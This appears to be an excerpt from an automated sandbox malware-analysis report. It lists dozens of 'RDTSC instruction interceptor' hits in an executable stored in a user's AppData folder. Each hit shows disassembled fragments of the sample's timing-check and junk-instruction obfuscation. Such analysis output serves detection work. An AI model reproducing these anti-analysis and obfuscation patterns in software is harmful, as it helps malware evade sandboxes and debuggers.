Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 574EC5 second address: 574EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5754BC second address: 5754C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5758BD second address: 5758CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5758CA second address: 5758E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F95FD7D899Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57593F second address: 57594C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007F95FD07A05Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 575DDB second address: 575DED instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F95FD7D8998h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 575E5D second address: 575E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD07A05Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5764D1 second address: 5764E6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95FD7D899Ch 0x00000008 jo 00007F95FD7D8996h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 576E76 second address: 576E84 instructions: 0x00000000 rdtsc 0x00000002 je 00007F95FD07A056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 579469 second address: 57946D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 577692 second address: 577697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57946D second address: 57949F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F95FD7D8998h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D37C5h] 0x0000001a push 00000000h 0x0000001c mov esi, edx 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007F95FD7D899Dh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57949F second address: 5794A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F95FD07A056h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 579EA0 second address: 579EA6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 579EA6 second address: 579EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F95FD07A056h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 579EB0 second address: 579F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D1B14h] 0x00000011 push 00000000h 0x00000013 jbe 00007F95FD7D899Ch 0x00000019 mov dword ptr [ebp+122D1A4Fh], edx 0x0000001f mov di, E6B4h 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F95FD7D8998h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000014h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F95FD7D89A1h 0x00000049 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 579F07 second address: 579F0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 579F0D second address: 579F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57A82A second address: 57A830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57A830 second address: 57A834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57B4FC second address: 57B55E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push ebx 0x0000000b mov dword ptr [ebp+122D1C16h], esi 0x00000011 pop edi 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D36A9h] 0x0000001a push 00000000h 0x0000001c mov esi, dword ptr [ebp+122D37E9h] 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 jmp 00007F95FD07A064h 0x00000029 jl 00007F95FD07A06Fh 0x0000002f jmp 00007F95FD07A069h 0x00000034 popad 0x00000035 push eax 0x00000036 jo 00007F95FD07A05Eh 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57BF92 second address: 57BF96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57BF96 second address: 57C022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F95FD07A062h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jnl 00007F95FD07A056h 0x00000017 jmp 00007F95FD07A065h 0x0000001c popad 0x0000001d jmp 00007F95FD07A05Eh 0x00000022 popad 0x00000023 nop 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F95FD07A058h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e push 00000000h 0x00000040 mov edi, 535267C2h 0x00000045 push 00000000h 0x00000047 mov dword ptr [ebp+122DB558h], edi 0x0000004d sub edi, dword ptr [ebp+122D2175h] 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jg 00007F95FD07A056h 0x0000005d pushad 0x0000005e popad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57C022 second address: 57C028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57CA5E second address: 57CACC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F95FD07A058h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov dword ptr [ebp+1246FD6Eh], esi 0x0000002d pushad 0x0000002e call 00007F95FD07A068h 0x00000033 mov dh, ch 0x00000035 pop ecx 0x00000036 jmp 00007F95FD07A061h 0x0000003b popad 0x0000003c push 00000000h 0x0000003e movzx edi, dx 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 pop ebx 0x00000048 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 57CACC second address: 57CAE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5809C0 second address: 5809C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 580F68 second address: 580FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F95FD7D899Ch 0x0000000b popad 0x0000000c nop 0x0000000d movzx edi, cx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F95FD7D8998h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D37F5h] 0x00000032 pushad 0x00000033 mov di, 7E9Fh 0x00000037 mov cx, di 0x0000003a popad 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 call 00007F95FD7D8998h 0x00000045 pop ecx 0x00000046 mov dword ptr [esp+04h], ecx 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 ret 0x00000055 pop ecx 0x00000056 ret 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushad 0x0000005c popad 0x0000005d jnc 00007F95FD7D8996h 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 580FE2 second address: 580FE7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 582EA6 second address: 582EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 582EAA second address: 582EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 582EB0 second address: 582F14 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F95FD7D8998h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ebx, dword ptr [ebp+122D3531h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F95FD7D8998h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d xor edi, 2CE1A601h 0x00000033 sub dword ptr [ebp+1246F861h], edx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007F95FD7D8998h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 push esi 0x00000059 pushad 0x0000005a popad 0x0000005b pop esi 0x0000005c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 582F14 second address: 582F42 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F95FD07A056h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F95FD07A064h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007F95FD07A056h 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 582F42 second address: 582F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 583F21 second address: 583F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 583FAB second address: 583FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 586076 second address: 58607B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58607B second address: 586085 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95FD7D899Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58811E second address: 588133 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F95FD07A056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F95FD07A056h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 588133 second address: 588183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D899Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F95FD7D8998h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+122D37F1h] 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D177Dh], esi 0x00000033 push 00000000h 0x00000035 mov edi, 071FE1D1h 0x0000003a xchg eax, esi 0x0000003b pushad 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58929F second address: 5892A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5892A3 second address: 5892A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5892A9 second address: 5892C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F95FD07A05Ch 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58A410 second address: 58A414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58A414 second address: 58A41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58A41D second address: 58A474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 sub edi, dword ptr [ebp+1245D7B8h] 0x0000000f push 00000000h 0x00000011 add dword ptr [ebp+1246C0FEh], eax 0x00000017 mov bl, F9h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F95FD7D8998h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F95FD7D89A8h 0x0000003d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 58D43C second address: 58D444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5831CD second address: 5831D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 594732 second address: 594753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F95FD07A068h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 594753 second address: 594760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 594760 second address: 594769 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 598E22 second address: 598E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 598E26 second address: 598E49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F95FD07A061h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jc 00007F95FD07A056h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 598E49 second address: 598E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 536B74 second address: 536B7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 536B7B second address: 536B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 536B81 second address: 536B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95FD07A060h 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59C60D second address: 59C613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59C613 second address: 59C61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59C61E second address: 59C622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 5334FD second address: 53350D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 53350D second address: 533529 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F95FD7D8996h 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F95FD7D899Ah 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59BE44 second address: 59BE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F95FD07A056h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59BE4E second address: 59BE79 instructions: 0x00000000 rdtsc 0x00000002 je 00007F95FD7D8996h 0x00000008 jmp 00007F95FD7D89A9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F95FD7D8996h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59BE79 second address: 59BE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59BE7F second address: 59BEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F95FD7D89A9h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59BEA1 second address: 59BEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59BEAA second address: 59BEAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59BEAE second address: 59BEB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59C009 second address: 59C00E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59C185 second address: 59C189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59C189 second address: 59C18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59C18F second address: 59C1CB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F95FD07A06Eh 0x00000008 jmp 00007F95FD07A068h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jno 00007F95FD07A05Eh 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jg 00007F95FD07A056h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 59F86B second address: 59F899 instructions: 0x00000000 rdtsc 0x00000002 js 00007F95FD7D8998h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F95FD7D899Ch 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jns 00007F95FD7D899Ah 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
